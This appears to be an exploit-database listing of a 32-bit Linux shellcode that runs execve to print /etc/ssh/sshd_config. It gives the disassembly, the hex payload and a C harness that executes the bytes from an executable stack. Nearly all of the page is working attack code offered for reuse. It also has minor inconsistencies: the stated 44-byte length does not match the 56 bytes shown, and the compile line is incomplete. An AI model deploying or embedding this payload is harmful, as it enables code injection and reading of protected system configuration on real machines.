Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes



EKU-ID: 8072 CVE: OSVDB-ID:
Author: Goutham Madhwaraj Published: 2018-10-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
# Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes
# Author: Goutham Madhwaraj
# Date: 2018-10-22
# Tested on: i686 GNU/Linux
# Shellcode Length: 44
# ShoutOut - BarrierSec
# gcc -fno-stack-protector -z execstack loader-bind.c -o
  
Disassembly of section .text:
 
08048080 <_start>:
 8048080:   31 c0                   xor    eax,eax
 8048082:   50                      push   eax
 8048083:   68 2f 63 61 74          push   0x7461632f
 8048088:   68 2f 62 69 6e          push   0x6e69622f
 804808d:   89 e3                   mov    ebx,esp
 804808f:   50                      push   eax
 8048090:   68 6e 66 69 67          push   0x6769666e
 8048095:   68 64 5f 63 6f          push   0x6f635f64
 804809a:   68 2f 73 73 68          push   0x6873732f
 804809f:   68 2f 73 73 68          push   0x6873732f
 80480a4:   68 2f 65 74 63          push   0x6374652f
 80480a9:   89 e1                   mov    ecx,esp
 80480ab:   6a 00                   push   0x0
 80480ad:   51                      push   ecx
 80480ae:   53                      push   ebx
 80480af:   89 e1                   mov    ecx,esp
 80480b1:   50                      push   eax
 80480b2:   89 e2                   mov    edx,esp
 80480b4:   b0 0b                   mov    al,0xb
 80480b6:   cd 80                   int    0x80
 
===============POC by Goutham Madhwaraj=========================
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x6e\x66\x69\x67\x68\x64\x5f\x63\x6f\x68\x2f\x73\x73\x68\x68\x2f\x73\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x6a\x00\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
 
main()
{
 
    printf("Shellcode Length:  %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}